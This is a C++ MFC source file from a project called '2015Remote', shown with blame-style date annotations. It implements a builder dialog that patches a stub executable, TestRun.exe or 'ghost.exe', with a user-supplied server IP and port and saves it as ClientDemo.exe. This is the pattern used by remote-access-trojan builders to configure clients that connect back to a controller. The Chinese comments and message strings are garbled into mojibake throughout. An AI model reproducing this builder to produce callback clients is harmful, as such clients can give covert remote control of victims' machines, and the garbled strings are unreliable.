2019-01-05 20:21:43 +08:00
|
|
|
|
// BuildDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
|
|
|
|
|
//
|
|
|
|
|
|
|
|
|
|
|
|
#include "stdafx.h"
|
|
|
|
|
|
#include "2015Remote.h"
|
|
|
|
|
|
#include "BuildDlg.h"
|
|
|
|
|
|
#include "afxdialogex.h"
|
|
|
|
|
|
#include <io.h>
|
|
|
|
|
|
|
|
|
|
|
|
// CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
|
|
|
|
|
|
|
|
|
|
|
IMPLEMENT_DYNAMIC(CBuildDlg, CDialog)
|
|
|
|
|
|
|
|
|
|
|
|
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize);
|
|
|
|
|
|
|
|
|
|
|
|
CBuildDlg::CBuildDlg(CWnd* pParent)
|
|
|
|
|
|
: CDialog(CBuildDlg::IDD, pParent)
|
|
|
|
|
|
, m_strIP(_T(""))
|
|
|
|
|
|
, m_strPort(_T(""))
|
|
|
|
|
|
{
|
|
|
|
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
CBuildDlg::~CBuildDlg()
|
|
|
|
|
|
{
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
void CBuildDlg::DoDataExchange(CDataExchange* pDX)
|
|
|
|
|
|
{
|
|
|
|
|
|
CDialog::DoDataExchange(pDX);
|
|
|
|
|
|
DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
|
|
|
|
|
|
DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
|
2024-12-28 18:35:34 +08:00
|
|
|
|
DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BEGIN_MESSAGE_MAP(CBuildDlg, CDialog)
|
|
|
|
|
|
ON_BN_CLICKED(IDOK, &CBuildDlg::OnBnClickedOk)
|
|
|
|
|
|
END_MESSAGE_MAP()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
// CBuildDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
void CBuildDlg::OnBnClickedOk()
|
|
|
|
|
|
{
|
|
|
|
|
|
CFile File;
|
|
|
|
|
|
char szTemp[MAX_PATH];
|
|
|
|
|
|
ZeroMemory(szTemp,MAX_PATH);
|
|
|
|
|
|
CString strCurrentPath;
|
|
|
|
|
|
CString strFile;
|
|
|
|
|
|
CString strSeverFile;
|
|
|
|
|
|
BYTE * szBuffer=NULL;
|
|
|
|
|
|
DWORD dwFileSize;
|
|
|
|
|
|
UpdateData(TRUE);
|
2024-12-28 18:35:34 +08:00
|
|
|
|
int index = m_ComboExe.GetCurSel();
|
|
|
|
|
|
CString file = index == 0 ? "TestRun.exe" : (index == 1 ? "ghost.exe" : "");
|
|
|
|
|
|
if (file.IsEmpty())
|
|
|
|
|
|
{
|
|
|
|
|
|
MessageBox("<EFBFBD><EFBFBD>Ч<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><C9B7><EFBFBD>!");
|
|
|
|
|
|
return CDialog::OnOK();
|
|
|
|
|
|
}
|
|
|
|
|
|
unsigned long flag = index == 0 ? FLAG_FINDEN : (index == 1 ? FLAG_GHOST : FLAG_FINDEN);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
//////////<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ//////////////////////
|
2024-12-28 18:35:34 +08:00
|
|
|
|
CONNECT_ADDRESS g_ConnectAddress = { flag,"",0 };
|
2019-01-05 20:21:43 +08:00
|
|
|
|
strcpy(g_ConnectAddress.szServerIP,m_strIP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP
|
|
|
|
|
|
|
|
|
|
|
|
g_ConnectAddress.iPort=atoi(m_strPort); //<2F>˿<EFBFBD>
|
|
|
|
|
|
if (strlen(m_strIP)==0 || g_ConnectAddress.iPort==0)
|
|
|
|
|
|
return;
|
|
|
|
|
|
try
|
|
|
|
|
|
{
|
|
|
|
|
|
//<2F>˴<EFBFBD><CBB4>õ<EFBFBD>δ<EFBFBD><CEB4><EFBFBD><EFBFBD>ǰ<EFBFBD><C7B0><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
|
|
|
|
|
char path[_MAX_PATH], *p = path;
|
|
|
|
|
|
GetModuleFileNameA(NULL, path, sizeof(path));
|
|
|
|
|
|
while (*p) ++p;
|
|
|
|
|
|
while ('\\' != *p) --p;
|
2024-12-28 18:35:34 +08:00
|
|
|
|
strcpy(p+1, file.GetString());
|
2019-01-05 20:21:43 +08:00
|
|
|
|
|
|
|
|
|
|
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
|
|
|
|
|
if (_access(path, 0) == -1)
|
|
|
|
|
|
{
|
2024-12-28 18:35:34 +08:00
|
|
|
|
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
2019-01-05 20:21:43 +08:00
|
|
|
|
return CDialog::OnOK();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
|
|
|
|
|
|
File.Open(strFile,CFile::modeRead|CFile::typeBinary);
|
|
|
|
|
|
|
|
|
|
|
|
dwFileSize=File.GetLength();
|
|
|
|
|
|
szBuffer=new BYTE[dwFileSize];
|
|
|
|
|
|
ZeroMemory(szBuffer,dwFileSize);
|
|
|
|
|
|
//<2F><>ȡ<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
|
|
|
|
|
|
|
|
|
|
|
File.Read(szBuffer,dwFileSize);
|
|
|
|
|
|
File.Close();
|
|
|
|
|
|
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
|
|
|
|
|
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.dwFlag,dwFileSize,sizeof(DWORD));
|
2024-12-28 18:35:34 +08:00
|
|
|
|
if (iOffset==-1)
|
|
|
|
|
|
{
|
|
|
|
|
|
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>!");
|
|
|
|
|
|
return;
|
|
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
memcpy(szBuffer+iOffset,&g_ConnectAddress,sizeof(g_ConnectAddress));
|
|
|
|
|
|
//<2F><><EFBFBD>浽<EFBFBD>ļ<EFBFBD>
|
|
|
|
|
|
strcpy(p+1, "ClientDemo.exe");
|
|
|
|
|
|
strSeverFile = path;
|
2024-12-28 18:35:34 +08:00
|
|
|
|
DeleteFileA(path);
|
|
|
|
|
|
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
|
|
|
|
|
if (!r) {
|
|
|
|
|
|
MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
|
|
|
|
|
|
return CDialog::OnOK();
|
|
|
|
|
|
}
|
2019-01-05 20:21:43 +08:00
|
|
|
|
File.Write(szBuffer,dwFileSize);
|
|
|
|
|
|
File.Close();
|
|
|
|
|
|
delete[] szBuffer;
|
2021-03-14 11:44:56 +08:00
|
|
|
|
MessageBox("<EFBFBD><EFBFBD><EFBFBD>ɳɹ<EFBFBD>!<21>ļ<EFBFBD>λ<EFBFBD><CEBB>:\r\n"+ strSeverFile);
|
2019-01-05 20:21:43 +08:00
|
|
|
|
}
|
|
|
|
|
|
catch (CMemoryException* e)
|
|
|
|
|
|
{
|
|
|
|
|
|
MessageBox("<EFBFBD>ڴ治<EFBFBD><EFBFBD>!");
|
|
|
|
|
|
}
|
|
|
|
|
|
catch (CFileException* e)
|
|
|
|
|
|
{
|
|
|
|
|
|
MessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
|
|
|
|
|
}
|
|
|
|
|
|
catch (CException* e)
|
|
|
|
|
|
{
|
|
|
|
|
|
MessageBox("δ֪<EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
|
|
|
|
|
}
|
|
|
|
|
|
CDialog::OnOK();
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
int MemoryFind(const char *szBuffer, const char *Key, int iBufferSize, int iKeySize)
|
|
|
|
|
|
{
|
|
|
|
|
|
int i,j;
|
|
|
|
|
|
if (iKeySize == 0||iBufferSize==0)
|
|
|
|
|
|
{
|
|
|
|
|
|
return -1;
|
|
|
|
|
|
}
|
2019-01-18 17:37:15 +08:00
|
|
|
|
for (i = 0; i < iBufferSize; ++i)
|
2019-01-05 20:21:43 +08:00
|
|
|
|
{
|
|
|
|
|
|
for (j = 0; j < iKeySize; j ++)
|
2024-12-28 18:35:34 +08:00
|
|
|
|
if (szBuffer[i+j] != Key[j]) break;
|
2019-01-05 20:21:43 +08:00
|
|
|
|
if (j == iKeySize) return i;
|
|
|
|
|
|
}
|
|
|
|
|
|
return -1;
|
|
|
|
|
|
}
|
2024-12-28 18:35:34 +08:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
BOOL CBuildDlg::OnInitDialog()
|
|
|
|
|
|
{
|
|
|
|
|
|
CDialog::OnInitDialog();
|
|
|
|
|
|
|
|
|
|
|
|
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
|
|
|
|
|
|
m_ComboExe.InsertString(0, "TestRun.exe");
|
|
|
|
|
|
m_ComboExe.InsertString(1, "ghost.exe");
|
|
|
|
|
|
m_ComboExe.SetCurSel(0);
|
|
|
|
|
|
|
|
|
|
|
|
return TRUE; // return TRUE unless you set the focus to a control
|
|
|
|
|
|
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
|
|
|
|
|
}
|